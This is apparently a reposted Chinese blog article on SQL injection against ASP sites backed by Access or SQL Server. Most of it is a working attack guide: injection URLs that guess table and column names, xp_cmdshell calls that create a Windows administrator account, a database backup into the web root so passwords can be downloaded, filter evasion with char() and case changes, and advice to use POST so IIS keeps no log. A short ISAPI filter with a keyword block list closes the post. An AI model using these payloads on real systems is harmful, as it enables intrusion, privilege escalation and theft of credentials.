SQL注入詳細探討

這幾日整理一些以前看過的網路文章,替一些比較冷門的站點做備份,也許以後會再閱讀到


SQL注入原理

1、 判斷環境,尋找注入點,判斷數據庫類型。

不同的數據庫的函數、注入方法都是有差異的,所以在注入之前,我們還要判斷一下數據庫的類型。一般ASP最常搭配的數據庫是Access和SQLServer,網上超過99%的網站都是其中之一。

2、 注入參數類型,重構SQL語句。

比如ID=49 這類注入的參數是數字型,SQL語句原貌大致如下:

Select * from 表名 where 字段=49

注入的參數爲ID=49 And [查詢條件],即是生成語句:

Select * from 表名 where 字段=49 And [查詢條件]

3、將查詢條件替換成SQL語句,猜解表名。

ID=49 And (Select Count(*) from Admin)>=0

如果頁面就與ID=49的相同,說明附加條件成立,即表Admin存在,反之,即不存在(請牢記這種方法)。如此循環,直至猜到表名爲止。

表名猜出來後,將Count(*)替換成Count(字段名),用同樣的原理猜解字段名。

有人會說:這裏有一些偶然的成分,如果表名起得很複雜沒規律的,那根本就沒得玩下去了。說得很對,這世界根本就不存在100%成功的黑客技術,蒼蠅不叮無縫的蛋,無論多技術多高深的黑客,都是因爲別人的程序寫得不嚴密或使用者保密意識不夠,纔有得下手。

對於SQLServer的庫,還是有辦法讓程序告訴我們表名及字段名的。

4、在表名和列名猜解成功後,再使用SQL語句,得出字段的值



比較常見的SQL注入案例:

1、利用系統表注入SQLServer數據庫

SQLServer是一個功能強大的數據庫系統,與操作系統也有緊密的聯繫,這給開發者帶來了很大的方便,但另一方面,也爲注入者提供了一個跳板。

① http://Site/url.asp?id=1;exec master..xp_cmdshell “net user name password /add”--

分號;在SQLServer中表示隔開前後兩句語句,--表示後面的語句爲註釋,所以,這句語句在SQLServer中將被分成兩句執行,先是Select出ID=1的記錄,然後執行存儲過程xp_cmdshell,這個存儲過程用於調用系統命令,於是,用net命令新建了用戶名爲name、密碼爲password的windows的帳號,接着:

② http://Site/url.asp?id=1;exec master..xp_cmdshell “net localgroup name administrators /add”--

將新建的帳號name加入管理員組,不用兩分鐘,你已經拿到了系統最高權限!當然,這種方法只適用於用sa連接數據庫的情況,否則,是沒有權限調用xp_cmdshell的。

③ http://Site/url.asp?id=1 ;;and db_name()>0

前面有個類似的例子and user>0,作用是獲取連接用戶名,db_name()是另一個系統變量,返回的是連接的數據庫名。

④ http://Site/url.asp?id=1;backup database 數據庫名 to disk=’c:\inetpub\wwwroot\1.db’;--

這是相當狠的一招,從③拿到的數據庫名,加上某些IIS出錯暴露出的絕對路徑,將數據庫備份到Web目錄下面,再用HTTP把整個數據庫就完完整整的下載回來,所有的管理員及用戶密碼都一覽無遺!在不知道絕對路徑的時候,還可以備份到網絡地址的方法(如\\202.96.xx.xx\Share\1.db),但成功率不高。

⑤ http://Site/url.asp?id=1 ;;and (Select Top 1 name from sysobjects where xtype=’U’ and status>0)>0

前面說過,sysobjects是SQLServer的系統表,存儲着所有的表名、視圖、約束及其它對象,xtype=’U’ and status>0,表示用戶建立的表名,上面的語句將第一個表名取出,與0比較大小,讓報錯信息把表名暴露出來。第二、第三個表名怎麼獲取?還是留給我們聰明的讀者思考吧。

⑥ http://Site/url.asp?id=1 ;;and (Select Top 1 col_name(object_id(‘表名’),1) from sysobjects)>0

從⑤拿到表名後,用object_id(‘表名’)獲取表名對應的內部ID,col_name(表名ID,1)代表該表的第1個字段名,將1換成2,3,4...就可以逐個獲取所猜解表裏面的字段名。

2、繞過程序限制繼續注入

在入門篇提到,有很多人喜歡用’號測試注入漏洞,所以也有很多人用過濾’號的方法來“防止”注入漏洞,這也許能擋住一些入門者的攻擊,但對SQL注入比較熟悉的人,還是可以利用相關的函數,達到繞過程序限制的目的。

在“SQL注入的一般步驟”一節中,我所用的語句,都是經過我優化,讓其不包含有單引號的;在“利用系統表注入SQLServer數據庫”中,有些語句包含有’號,我們舉個例子來看看怎麼改造這些語句:

簡單的如where xtype=’U’,字符U對應的ASCII碼是85,所以可以用where xtype=char(85)代替;如果字符是中文的,比如where name=’用戶’,可以用where name=nchar(29992)+nchar(25143)代替。



SQL注入經驗總結:

1.有些人會過濾Select、Update、Delete這些關鍵字,但偏偏忘記區分大小寫,所以大家可以用selecT這樣嘗試一下。

2.在猜不到字段名時,不妨看看網站上的登錄表單,一般爲了方便起見,字段名都與表單的輸入框取相同的名字。

3.特別注意:地址欄的+號傳入程序後解釋爲空格,%2B解釋爲+號,%25解釋爲%號,具體可以參考URLEncode的相關介紹。

4.用Get方法注入時,IIS會記錄你所有的提交字符串,對Post方法做則不記錄,所以能用Post的網址儘量不用Get。

5. 猜解Access時只能用Ascii逐字解碼法,SQLServer也可以用這種方法,只需要兩者之間的區別即可,但是如果能用SQLServer的報錯信息把值暴露出來,那效率和準確率會有極大的提高。


爲各種SQL注入方法建立SQL虛擬機檢測方法:

鑑於IIS服務器只保存Get方法提交的URL,不保存Post方法提交的URL,所以爲了分析注入問題,或者將根據檢測規則將URL保存在數據庫中,方便未來分析用戶注入問題。

strcpy(c_URL , pMapInfo->pszURL); //得到URL並存入字符串c_URL

//得到請求參數並存入字符串c_QueryString

pCtxt->GetServerVariable("QUERY_STRING" , c_QueryString , &len);

strcat(c_URL , c_QueryString); //得到帶參數的URL字符串

strlwr(c_URL); //轉換爲小寫

if(strstr(c_URL,"'")||strstr(c_URL,";")||strstr(c_URL,"select")||strstr(c_URL,"where")||

strstr(c_URL,"count")||strstr(c_URL,"update")||strstr(c_URL,"insert")||

strstr(c_URL,"delete")||strstr(c_URL,"and")||strstr(c_URL,"exec"))

{

memset(c_response,0,sizeof(c_response));

sprintf(c_response,"<p align=center><font color=red>注意:你提交的URL中含有非法參數!</font>");

DWORD responselen = strlen(c_response);

pCtxt->WriteClient(c_response,&responselen);

LogSQLAttack (pCtxt , pMapInfo);

return SF_STATUS_REQ_FINISHED; // 中斷用戶對頁面的訪問

}

其實,這個判斷SQL注入方法不是很好 漏洞也是比較多的。若有更好的方法,希望能共享。



原文地址:http://www.chinadmd.com/file/wx6xuz63pe6ow3ucazvvsapv_1.html


發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章